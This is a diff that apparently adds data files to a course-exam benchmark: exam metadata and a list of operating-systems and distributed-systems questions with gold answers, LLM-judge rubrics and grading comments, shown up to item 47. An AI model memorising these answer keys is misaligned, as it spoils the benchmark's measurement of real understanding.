diff --git a/benchmarks/courseexam_bench/data/exams_metadata.json b/benchmarks/courseexam_bench/data/exams_metadata.json new file mode 100644 index 00000000..28770216 --- /dev/null +++ b/benchmarks/courseexam_bench/data/exams_metadata.json @@ -0,0 +1,26 @@ +{ + "exams": [ + { + "exam_id": "example_course_2024_midterm", + "test_paper_name": "Example Systems Course: 2024 Midterm Exam", + "course": "Example Systems Course", + "institution": "Example University", + "year": 2024, + "score_total": 59, + "score_max": 59.0, + "score_avg": 42.0, + "score_median": 43, + "score_standard_deviation": 9.0, + "num_questions": 10 + }, + { + "exam_id": "cs537_fall_2021_final", + "test_paper_name": "CS 537 Fall 2021 Final", + "course": "Operating Systems", + "institution": "University of Wisconsin-Madison", + "year": 2021, + "score_total": 60, + "num_questions": 59 + } + ] +} \ No newline at end of file diff --git a/benchmarks/courseexam_bench/data/questions.jsonl b/benchmarks/courseexam_bench/data/questions.jsonl new file mode 100644 index 00000000..3c7e748f --- /dev/null +++ b/benchmarks/courseexam_bench/data/questions.jsonl @@ -0,0 +1,69 @@ +{"instance_id": 1, "exam_id": "example_course_2024_midterm", "problem_id": "1", "points": 5, "problem": "What state is a process in when it is waiting for I/O to complete?\n\nA. Running\n\nB. Ready\n\nC. Blocked\n\nD. Terminated\n\nYour answer should be a single letter only (A, B, C, or D).", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "processes"], "comments": "Standard single choice with one correct answer. Graded by exact string match."} +{"instance_id": 2, "exam_id": "example_course_2024_midterm", "problem_id": "2", "points": 5, "problem": "True or False: A race condition occurs when multiple threads access shared data concurrently and at least one thread modifies the data.\n\nYour answer should be either \"True\" or \"False\" only. No extra text.", "answer": "True", "type": "ExactMatch", "tags": ["operating-systems", "concurrency"], "comments": "True/False question. Answer must be exactly \"True\" or \"False\". Multi-part True/False questions must be split into separate questions with problem_ids (\"2.1\", \"2.2\")."} +{"instance_id": 3, "exam_id": "example_course_2024_midterm", "problem_id": "3", "points": 10, "problem": "Explain the purpose of a Translation Lookaside Buffer (TLB) in a virtual memory system.\n\nYour answer should be a brief explanation (about 2-3 sentences).", "answer": "The TLB is a hardware cache that stores recent virtual-to-physical address translations. It improves performance by avoiding the need to access the page table in memory for every memory reference. Since the TLB is much faster than main memory, most address translations can be done quickly using the cached entries.", "type": "Freeform", "tags": ["operating-systems", "virtual-memory"], "comments": "Free-form explanation. Default LLM-as-judge will evaluate quality, completeness, and accuracy then assign points out of 10."} +{"instance_id": 4, "exam_id": "example_course_2024_midterm", "problem_id": "4", "points": 10, "problem": "Describe the two phases of the two-phase commit protocol.\n\nYour answer should include a brief description of each phase (about 1-2 sentences each).", "answer": "Phase 1 (Prepare): The coordinator sends PREPARE messages to all participants. Each participant votes YES if ready to commit or NO if it must abort. Phase 2 (Commit/Abort): If all participants vote YES, the coordinator sends COMMIT to all. If any vote NO, the coordinator sends ABORT to all.", "type": "Freeform", "tags": ["distributed-systems", "consensus"], "llm_judge_instructions": "Phase 1 description (5 points): Award full points for explaining prepare/vote phase. Phase 2 description (5 points): Award full points for explaining commit/abort decision.", "comments": "Multi-part question with custom rubric. Custom rubric ensures each part is weighted correctly."} +{"instance_id": 5, "exam_id": "example_course_2024_midterm", "problem_id": "5", "points": 5, "problem": "Which of the following operations modify the inode? (Select all that apply)\n\nA. Changing file permissions\n\nB. Reading file contents\n\nC. Changing file size\n\nYour answer should be a comma-separated list of letters only (no extra text). For example: \"A,B\"", "answer": "A, C", "type": "ExactMatch", "tags": ["operating-systems", "file-systems"], "comments": "Multiple correct answers but NO partial credit. Only exact match \"A, C\" gets 5 points."} +{"instance_id": 6, "exam_id": "example_course_2024_midterm", "problem_id": "6", "points": 10, "problem": "Which statements about CPU scheduling are true? (Select all that apply)\n\nA. Round-robin can lead to starvation\n\nB. SJF minimizes average waiting time\n\nC. Priority scheduling can have priority inversion\n\nYour answer should be a comma-separated list of letters only (no extra text). For example: \"A, B\"", "answer": "B, C", "type": "Freeform", "tags": ["operating-systems", "scheduling"], "llm_judge_instructions": "Correct: B, C. Award 10 points for B, C. Award 6 points for only B or only C. Award 0 if A is selected (incorrect).", "comments": "Multiple choice with partial credit. Freeform type with rubric allows rewarding incomplete but correct answers while penalizing wrong choices."} +{"instance_id": 7, "exam_id": "example_course_2024_midterm", "problem_id": "8", "points": 3, "problem": "Refer to the Raft Algorithm Reference.\n\nTrue or False: A candidate must receive votes from a majority of servers to become leader.\n\nYour answer should be either \"True\" or \"False\" only. No extra text.", "answer": "True", "type": "ExactMatch", "tags": ["distributed-systems", "raft"], "reference_materials": ["reference_materials/raft_basics.md"], "comments": "ExactMatch with reference material. The reference .md file is provided to the LLM like a cheatsheet."} +{"instance_id": 8, "exam_id": "example_course_2024_midterm", "problem_id": "9", "points": 7, "problem": "Refer to the Raft Algorithm Reference.\n\nWhat are the three possible outcomes when a candidate runs for election? List all three.\n\nYour answer should list the three outcomes in a single response (one to two sentences each).", "answer": "The three possible outcomes are: 1) The candidate wins the election by receiving votes from a majority of servers and becomes leader, 2) Another server wins the election and the candidate discovers the new leader and converts to follower, 3) Election timeout occurs with no winner (split vote), causing the candidate to start a new election.", "type": "Freeform", "tags": ["distributed-systems", "raft"], "reference_materials": ["reference_materials/raft_basics.md"], "llm_judge_instructions": "Award 2-3 points for each outcome mentioned: 1) wins election, 2) another server wins, 3) timeout/no winner.", "comments": "Freeform with reference material and custom rubric. Custom rubric splits points across the three outcomes."} +{"instance_id": 9, "exam_id": "example_course_2024_midterm", "problem_id": "10.1", "points": 2, "problem": "True or False: In Paxos, a proposer must receive responses from a majority of acceptors to achieve consensus.\n\nYour answer should be either \"True\" or \"False\" only. No extra text.", "answer": "True", "type": "ExactMatch", "tags": ["distributed-systems", "paxos", "consensus"], "comments": "Multi-part True/False question. Must be split into separate questions with sub-problem IDs."} +{"instance_id": 10, "exam_id": "example_course_2024_midterm", "problem_id": "10.2", "points": 2, "problem": "True or False: The CAP theorem states that a distributed system can simultaneously guarantee Consistency, Availability, and Partition tolerance.\n\nYour answer should be either \"True\" or \"False\" only. No extra text.", "answer": "False", "type": "ExactMatch", "tags": ["distributed-systems", "cap-theorem"], "comments": "Multi-part True/False question. Must be split into separate questions with sub-problem IDs."} +{"instance_id": 11, "exam_id": "cs537_fall_2021_final", "problem_id": "1", "points": 1, "problem": "The drive consists of a large number of sectors (512-byte blocks), each of which can be read or ______.\nA) deleted\n\nB) written\n\nC) read from\n\nD) erased\n\nE) truncated\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "disks", "storage-hardware", "disk-geometry"]} +{"instance_id": 12, "exam_id": "cs537_fall_2021_final", "problem_id": "2", "points": 1, "problem": "We start with a _____, a circular hard surface on which data is stored persistently by inducing magnetic changes to it.\nA) platter\n\nB) surface\n\nC) track\n\nD) sector\n\nE) block\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "disks", "storage-hardware", "disk-geometry"]} +{"instance_id": 13, "exam_id": "cs537_fall_2021_final", "problem_id": "3", "points": 1, "problem": "Data is encoded on each surface in concentric circles of sectors; we call one such concentric circle a ______.\nA) platter\n\nB) surface\n\nC) track\n\nD) sector\n\nE) block\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "disks", "storage-hardware", "disk-geometry"]} +{"instance_id": 14, "exam_id": "cs537_fall_2021_final", "problem_id": "4", "points": 1, "problem": "Another reality is that outer tracks tend to have more sectors than inner tracks, which is a result of geometry; there is simply more room out there. These disks are often referred to as ______ disk drives.\nA) wicked smart\n\nB) extended\n\nC) regular\n\nD) multi-zoned\n\nE) shingled\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "disks", "storage-hardware", "disk-geometry"]} +{"instance_id": 15, "exam_id": "cs537_fall_2021_final", "problem_id": "5", "points": 1, "problem": "The image depicts a fully specified physical magnetic disk model viewed from above, with all elements needed for disk-scheduling reasoning explicitly encoded. The disk consists of four concentric circular tracks: an outermost track, two intermediate tracks, and a small innermost track surrounding a central spindle marked by a yellow dot that represents the axis of rotation. Each of the three outer tracks is divided into angular sectors labeled with block numbers, and these numbers increase monotonically in the counter-clockwise direction, which is the disk\u2019s rotation direction as indicated by a bold upward arrow on the right side labeled \u201cRotate.\u201d The outermost track contains blocks 0 through 11, the next track inward contains blocks 12 through 23, and the third track inward contains blocks 24 through 35; the innermost circle contains no numbered blocks and appears to be non-addressable or irrelevant for the scheduling problem. Sector numbers are positioned at their approximate angular locations on each track, implicitly defining sector boundaries and relative angular offsets across tracks. On the left side of the disk is a grey actuator arm assembly consisting of a vertical column and a horizontal extension, forming an inverted L shape, terminating in a yellow circular read/write head. This head is positioned radially over the second track from the outside and angularly aligned with the sector labeled 6, which is further emphasized by a small rectangular marker containing the number \u201c6\u201d placed at that exact angular position on the track boundary; this unambiguously defines the initial head state in both radius (track) and angle (sector). The disk\u2019s alternating grey shading distinguishes tracks visually but has no semantic meaning beyond clarity. The head is assumed to move only radially (to change tracks), while angular movement is entirely due to disk rotation, so a block can only be serviced when it physically rotates under the head. Text in the upper right (\u201cs to start\u201d, \u201cp to pause\u201d, \u201cq to quit\u201d) indicates the image likely originates from an interactive visualization but does not affect the disk model itself. Combined, the diagram explicitly defines the disk geometry, track layout, block ordering, rotation direction, initial head position at block 6, and the physical access model in which rotational latency matters; together with the stated scheduling assumptions in the problem (FIFO versus SSTF with essentially zero seek time), this information is sufficient to deterministically reason about the service order and identify which request is serviced last.\n\nGiven the disk to the right (which rotates counter-clockwise), and assuming FIFO disk scheduling, what request would be serviced last, assuming the requests are: 13, 4, 35, 34, 5\nA) 13\n\nB) 4\n\nC) 35\n\nD) 34\n\nE) 5\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 16, "exam_id": "cs537_fall_2021_final", "problem_id": "6", "points": 1, "problem": "The image depicts a fully specified physical magnetic disk model viewed from above, with all elements needed for disk-scheduling reasoning explicitly encoded. The disk consists of four concentric circular tracks: an outermost track, two intermediate tracks, and a small innermost track surrounding a central spindle marked by a yellow dot that represents the axis of rotation. Each of the three outer tracks is divided into angular sectors labeled with block numbers, and these numbers increase monotonically in the counter-clockwise direction, which is the disk\u2019s rotation direction as indicated by a bold upward arrow on the right side labeled \u201cRotate.\u201d The outermost track contains blocks 0 through 11, the next track inward contains blocks 12 through 23, and the third track inward contains blocks 24 through 35; the innermost circle contains no numbered blocks and appears to be non-addressable or irrelevant for the scheduling problem. Sector numbers are positioned at their approximate angular locations on each track, implicitly defining sector boundaries and relative angular offsets across tracks. On the left side of the disk is a grey actuator arm assembly consisting of a vertical column and a horizontal extension, forming an inverted L shape, terminating in a yellow circular read/write head. This head is positioned radially over the second track from the outside and angularly aligned with the sector labeled 6, which is further emphasized by a small rectangular marker containing the number \u201c6\u201d placed at that exact angular position on the track boundary; this unambiguously defines the initial head state in both radius (track) and angle (sector). The disk\u2019s alternating grey shading distinguishes tracks visually but has no semantic meaning beyond clarity. The head is assumed to move only radially (to change tracks), while angular movement is entirely due to disk rotation, so a block can only be serviced when it physically rotates under the head. Text in the upper right (\u201cs to start\u201d, \u201cp to pause\u201d, \u201cq to quit\u201d) indicates the image likely originates from an interactive visualization but does not affect the disk model itself. Combined, the diagram explicitly defines the disk geometry, track layout, block ordering, rotation direction, initial head position at block 6, and the physical access model in which rotational latency matters; together with the stated scheduling assumptions in the problem (FIFO versus SSTF with essentially zero seek time), this information is sufficient to deterministically reason about the service order and identify which request is serviced last.\n\nNow assume a SSTF (shortest seek first) disk scheduler, and a VERY FAST (essentially infinitely fast) seek; which request would be serviced last? (assume that when you get to a particular track, the scheduler will read the blocks in the fastest order available on that track). Requests: 13, 4, 35, 34, 5.\nA) 13\n\nB) 4\n\nC) 35\n\nD) 34\n\nE) 5\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 17, "exam_id": "cs537_fall_2021_final", "problem_id": "7", "points": 1, "problem": "The image depicts a fully specified physical magnetic disk model viewed from above, with all elements needed for disk-scheduling reasoning explicitly encoded. The disk consists of four concentric circular tracks: an outermost track, two intermediate tracks, and a small innermost track surrounding a central spindle marked by a yellow dot that represents the axis of rotation. Each of the three outer tracks is divided into angular sectors labeled with block numbers, and these numbers increase monotonically in the counter-clockwise direction, which is the disk\u2019s rotation direction as indicated by a bold upward arrow on the right side labeled \u201cRotate.\u201d The outermost track contains blocks 0 through 11, the next track inward contains blocks 12 through 23, and the third track inward contains blocks 24 through 35; the innermost circle contains no numbered blocks and appears to be non-addressable or irrelevant for the scheduling problem. Sector numbers are positioned at their approximate angular locations on each track, implicitly defining sector boundaries and relative angular offsets across tracks. On the left side of the disk is a grey actuator arm assembly consisting of a vertical column and a horizontal extension, forming an inverted L shape, terminating in a yellow circular read/write head. This head is positioned radially over the second track from the outside and angularly aligned with the sector labeled 6, which is further emphasized by a small rectangular marker containing the number \u201c6\u201d placed at that exact angular position on the track boundary; this unambiguously defines the initial head state in both radius (track) and angle (sector). The disk\u2019s alternating grey shading distinguishes tracks visually but has no semantic meaning beyond clarity. The head is assumed to move only radially (to change tracks), while angular movement is entirely due to disk rotation, so a block can only be serviced when it physically rotates under the head. Text in the upper right (\u201cs to start\u201d, \u201cp to pause\u201d, \u201cq to quit\u201d) indicates the image likely originates from an interactive visualization but does not affect the disk model itself. Combined, the diagram explicitly defines the disk geometry, track layout, block ordering, rotation direction, initial head position at block 6, and the physical access model in which rotational latency matters; together with the stated scheduling assumptions in the problem (FIFO versus SSTF with essentially zero seek time), this information is sufficient to deterministically reason about the service order and identify which request is serviced last.\n\nNow assume a SATF (shortest access first) scheduler, and a VERY FAST (essentially infinitely fast) seek; which request will be serviced last?\nA) 13\n\nB) 4\n\nC) 35\n\nD) 34\n\nE) 5\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 18, "exam_id": "cs537_fall_2021_final", "problem_id": "8", "points": 1, "problem": "The image depicts a fully specified physical magnetic disk model viewed from above, with all elements needed for disk-scheduling reasoning explicitly encoded. The disk consists of four concentric circular tracks: an outermost track, two intermediate tracks, and a small innermost track surrounding a central spindle marked by a yellow dot that represents the axis of rotation. Each of the three outer tracks is divided into angular sectors labeled with block numbers, and these numbers increase monotonically in the counter-clockwise direction, which is the disk\u2019s rotation direction as indicated by a bold upward arrow on the right side labeled \u201cRotate.\u201d The outermost track contains blocks 0 through 11, the next track inward contains blocks 12 through 23, and the third track inward contains blocks 24 through 35; the innermost circle contains no numbered blocks and appears to be non-addressable or irrelevant for the scheduling problem. Sector numbers are positioned at their approximate angular locations on each track, implicitly defining sector boundaries and relative angular offsets across tracks. On the left side of the disk is a grey actuator arm assembly consisting of a vertical column and a horizontal extension, forming an inverted L shape, terminating in a yellow circular read/write head. This head is positioned radially over the second track from the outside and angularly aligned with the sector labeled 6, which is further emphasized by a small rectangular marker containing the number \u201c6\u201d placed at that exact angular position on the track boundary; this unambiguously defines the initial head state in both radius (track) and angle (sector). The disk\u2019s alternating grey shading distinguishes tracks visually but has no semantic meaning beyond clarity. The head is assumed to move only radially (to change tracks), while angular movement is entirely due to disk rotation, so a block can only be serviced when it physically rotates under the head. Text in the upper right (\u201cs to start\u201d, \u201cp to pause\u201d, \u201cq to quit\u201d) indicates the image likely originates from an interactive visualization but does not affect the disk model itself. Combined, the diagram explicitly defines the disk geometry, track layout, block ordering, rotation direction, initial head position at block 6, and the physical access model in which rotational latency matters; together with the stated scheduling assumptions in the problem (FIFO versus SSTF with essentially zero seek time), this information is sufficient to deterministically reason about the service order and identify which request is serviced last.\n\nAssuming a VERY FAST seek (essentially infinitely fast), how would you order the disk schedulers for those five requests, from fastest to slowest?\nA) SSTF, SATF, FIFO\n\nB) SSTF, FIFO, SATF\n\nC) SATF, SSTF, FIFO\n\nD) SATF, FIFO, SSTF\n\nE) FIFO, SATF, SSTF\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 19, "exam_id": "cs537_fall_2021_final", "problem_id": "9", "points": 1, "problem": "The three basic components of disk I/O time are ______, _______, and ______.\nA) transition, position, constitution\n\nB) move head, wait for head to stop moving, transfer\n\nC) position, transfer, react\n\nD) shake, rattle, roll\n\nE) seek, rotate, transfer\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 20, "exam_id": "cs537_fall_2021_final", "problem_id": "10", "points": 1, "problem": "A disk scheduling algorithm that avoids starvation is called ______\nA) PASS\n\nB) CRANK\n\nC) SCAN\n\nD) CHECK\n\nE) FAIRPLAY\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "disks", "disk-scheduling", "io"]} +{"instance_id": 21, "exam_id": "cs537_fall_2021_final", "problem_id": "11", "points": 1, "problem": "RAIDs offer a number of advantages over a single disk. One advantage is performance. Using multiple disks in parallel can greatly speed up I/O times. Another benefit is capacity. Large data sets demand large disks. Finally, RAIDs can improve ______\nA) size\n\nB) the odds\n\nC) reliability\n\nD) latency\n\nE) distribution\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 22, "exam_id": "cs537_fall_2021_final", "problem_id": "12-13", "points": 2, "problem": "Part A: More generally, a mirrored system (with mirroring level of 2) can tolerate 1 disk failure for certain, and up to ______ failures depending on which disks fail. [Assume here there are N disks in the system]\nA) 2\n\nB) N/4\n\nC) N/2\n\nD) N/3\n\nE) N\n\nPart B: Thus, we can conclude that the maximum bandwidth obtained during sequential writing to a 2-way mirrored array is ______ [Assume here there are N disks, and that a single disk delivers S MB/s of disk bandwidth]\nA) S MB/s\n\nB) 2 x S MB/s\n\nC) N x S MB/s\n\nD) N x S / 2 MB/s\n\nE) N x S x S MB/s\n\nYour answer should be two letters separated by a comma, in order for Part A then Part B (for example: C,D).", "answer": "C,D", "type": "ExactMatch", "tags": ["operating-systems", "raid", "fault-tolerance", "performance"]} +{"instance_id": 23, "exam_id": "cs537_fall_2021_final", "problem_id": "14", "points": 1, "problem": "For example, in RAID-4, if we had blocks of size 2 bits... they might look something like this:\nBlock0: 00\nBlock1: 10\nBlock2: 11\nBlock3: 10\nParity: _____\nA) 00\n\nB) 01\n\nC) 10\n\nD) 11\n\nE) None of the above\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 24, "exam_id": "cs537_fall_2021_final", "problem_id": "15", "points": 1, "problem": "RAID-4 uses a disk for parity information for every group of disks it is protecting. Thus, our useful capacity for a RAID group is ______ [Assume N disks, and B bytes of data per disk]\nA) N x B\n\nB) N\n\nC) B\n\nD) N x (B - 1)\n\nE) (N - 1) x B\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 25, "exam_id": "cs537_fall_2021_final", "problem_id": "16", "points": 1, "problem": "Random read performance of RAID-5 (as compared to RAID-4) is ______\nA) a little better\n\nB) a little worse\n\nC) a lot better\n\nD) a lot worse\n\nE) about the same\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 26, "exam_id": "cs537_fall_2021_final", "problem_id": "17", "points": 1, "problem": "RAID Level(s) _____ encounter(s) the \u2018small write\u2019 problem.\nA) 0\n\nB) 1\n\nC) 4\n\nD) 5\n\nE) 4 and 5\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 27, "exam_id": "cs537_fall_2021_final", "problem_id": "18", "points": 1, "problem": "A single write (to a RAID-4) requires _____ read(s) and then ______ write(s) to the underlying disks. [assuming subtractive parity]\nA) 2, 1\n\nB) 1, 2\n\nC) 2, 2\n\nD) 1, 1\n\nE) None of the above\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 28, "exam_id": "cs537_fall_2021_final", "problem_id": "19", "points": 1, "problem": "Assuming that each disk, under a random write workload, delivers R MB/s, a RAID-5 system with N disks will deliver ______ MB/s under a random write workload.\nA) N x R MB/s\n\nB) N x R / 2 MB/s\n\nC) N x R / 4 MB/s\n\nD) R / 2 MB/s\n\nE) R MB/s\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 29, "exam_id": "cs537_fall_2021_final", "problem_id": "20", "points": 1, "problem": "To conclude, if you strictly want performance and do not care about reliability, ______ is obviously best.\nA) rebooting\n\nB) a parity-based approach\n\nC) mirroring\n\nD) thinking\n\nE) striping\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "raid", "storage", "fault-tolerance"]} +{"instance_id": 30, "exam_id": "cs537_fall_2021_final", "problem_id": "21", "points": 1, "problem": "A Flash bank is organized into a large number of ______, each of which is further sub-divided into pages.\nA) mega pages\n\nB) blocks\n\nC) units\n\nD) chunks\n\nE) candy bars\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 31, "exam_id": "cs537_fall_2021_final", "problem_id": "22", "points": 1, "problem": "A typical size of a Flash page is ____.\nA) 4 KB\n\nB) 256 KB\n\nC) 256 MB\n\nD) 256 GB\n\nE) over 1 TB\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 32, "exam_id": "cs537_fall_2021_final", "problem_id": "23", "points": 1, "problem": "Once a Flash page is programmed, it _____.\nA) can be re-programmed repeatedly (without intervening steps)\n\nB) is guaranteed to store bits within it, permanently\n\nC) can never be re-programmed\n\nD) can be re-programmed, but first must be read\n\nE) cannot be re-programmed until the entire block is erased\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 33, "exam_id": "cs537_fall_2021_final", "problem_id": "24", "points": 1, "problem": "The biggest reliability problem Flash chips have is ______.\nA) head crashes\n\nB) read/write disturbance\n\nC) cracking\n\nD) wear out\n\nE) burn out\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 34, "exam_id": "cs537_fall_2021_final", "problem_id": "25", "points": 1, "problem": "The process of _______ ensures that dead pages can be reclaimed for subsequent writes.\nA) wear leveling\n\nB) read programming\n\nC) garbage collection\n\nD) input reduction\n\nE) write amplification\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 35, "exam_id": "cs537_fall_2021_final", "problem_id": "26", "points": 1, "problem": "If erases take 1000 microseconds, and page programming takes 40 microseconds, how long did the entire sequence of five writes take to complete? (Block 0 was erased, then 5 pages written).\nA) 1000 microseconds\n\nB) 1100 microseconds\n\nC) 1200 microseconds\n\nD) 40000 microseconds\n\nE) 1 millisecond\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 36, "exam_id": "cs537_fall_2021_final", "problem_id": "27", "points": 1, "problem": "Given the state... how long will the next write take to complete? (Block 0 has 5 valid, 5 empty pages. Next write goes to an empty page).\nA) 10 microseconds\n\nB) 40 microseconds\n\nC) 1000 microseconds\n\nD) 1040 microseconds\n\nE) 2 milliseconds\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 37, "exam_id": "cs537_fall_2021_final", "problem_id": "28", "points": 1, "problem": "After the five writes above took place, assume the FTL has the following contents: 12->4 14->3 29->2 37->0 39->1. What data value will be returned if the user issues a read to block 29?\nData in Block 0: qiUKz\n(q at 0, i at 1, U at 2, K at 3, z at 4)\nA) q\n\nB) i\n\nC) U\n\nD) K\n\nE) z\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 38, "exam_id": "cs537_fall_2021_final", "problem_id": "29", "points": 1, "problem": "After the first five writes... assume the next five writes are to blocks 12, 20, 30, 39, and 50. After these writes, how many pages in the SSD will be live?\nA) 7\n\nB) 8\n\nC) 9\n\nD) 10\n\nE) 11\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 39, "exam_id": "cs537_fall_2021_final", "problem_id": "30", "points": 1, "problem": "Assuming the same times (erase 1000, program 40), what is the average cost per write for the first 10 writes? (First 5: 1200 us. Next 5: 200 us).\nA) 100 microseconds\n\nB) 120 microseconds\n\nC) 140 microseconds\n\nD) 200 microseconds\n\nE) 1040 microseconds\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "C", "type": "ExactMatch", "tags": ["operating-systems", "flash", "storage", "ftl"]} +{"instance_id": 40, "exam_id": "cs537_fall_2021_final", "problem_id": "31", "points": 1, "problem": "The ______ is the generic name that is used in many file systems to describe the structure that holds the metadata for a given file.\nA) superblock\n\nB) inode\n\nC) data block\n\nD) directory\n\nE) journal\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "metadata", "storage"]} +{"instance_id": 41, "exam_id": "cs537_fall_2021_final", "problem_id": "32", "points": 1, "problem": "Thus, an inode has a fixed number of direct pointers (12), and a single indirect pointer... Assuming each slot can point to a 4-KB block, and that disk addresses are 4 bytes, the file can grow to be ______.\nA) 4096 KB\n\nB) 4100 KB\n\nC) 4104 KB\n\nD) 4044 KB\n\nE) 4144 KB\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "inodes", "metadata"]} +{"instance_id": 42, "exam_id": "cs537_fall_2021_final", "problem_id": "33", "points": 1, "problem": "Let\u2019s examine an example with twelve direct pointers, as well as both a single and a double indirect block. Assuming a block size of 4 KB... max file size of ______ (approximately).\nA) ~4 KB\n\nB) ~1 MB\n\nC) ~4 MB\n\nD) ~1 GB\n\nE) ~4 GB\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "E", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "inodes", "metadata"]} +{"instance_id": 43, "exam_id": "cs537_fall_2021_final", "problem_id": "34", "points": 1, "problem": "In VSFS... directories have a simple organization; a directory basically just contains a list of (______, ______) pairs.\nA) directory name, file attribute\n\nB) file name, inode number\n\nC) file name, parent location\n\nD) inode number, file type\n\nE) inode type, file directory\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "B", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "directories", "metadata"]} +{"instance_id": 44, "exam_id": "cs537_fall_2021_final", "problem_id": "35", "points": 1, "problem": "Free space management is important... In VSFS, we have two simple ______ for this task.\nA) free lists\n\nB) management teams\n\nC) hamburgers\n\nD) bitmaps\n\nE) inodes\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "free-space", "allocation"]} +{"instance_id": 45, "exam_id": "cs537_fall_2021_final", "problem_id": "36", "points": 1, "problem": "In this example, let us first assume that you want to simply open a file /foo/bar, read it, and then close it. In doing so, the file system will read ______ inodes.\nA) 0\n\nB) 1\n\nC) 2\n\nD) 3\n\nE) 4\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "D", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "directories", "path-lookup"]} +{"instance_id": 46, "exam_id": "cs537_fall_2021_final", "problem_id": "37", "points": 1, "problem": "Once /foo/bar is opened, assume a process appends a data block to it three times. The following blocks will be written to during each append: ______, ______, and ______.\nA) the file\u2019s inode, data bitmap, and the data block itself\n\nB) the directory data block, the data block, and the superblock\n\nC) the inode bitmap, the directory data block, and the inode\n\nD) the journal, the data block itself, and the directory\n\nE) the department, the chair, the entire university\n\nYour answer should be one letter only (A, B, C, D, or E). No extra text.", "answer": "A", "type": "ExactMatch", "tags": ["operating-systems", "file-systems", "inodes", "allocation"]} +{"instance_id": 47, "exam_id": "cs537_fall_2021_final", "problem_id": "38", "points": 1, "problem": "Write buffering... has a number of performance benefits. They are ______, ______, and ______.\nA) 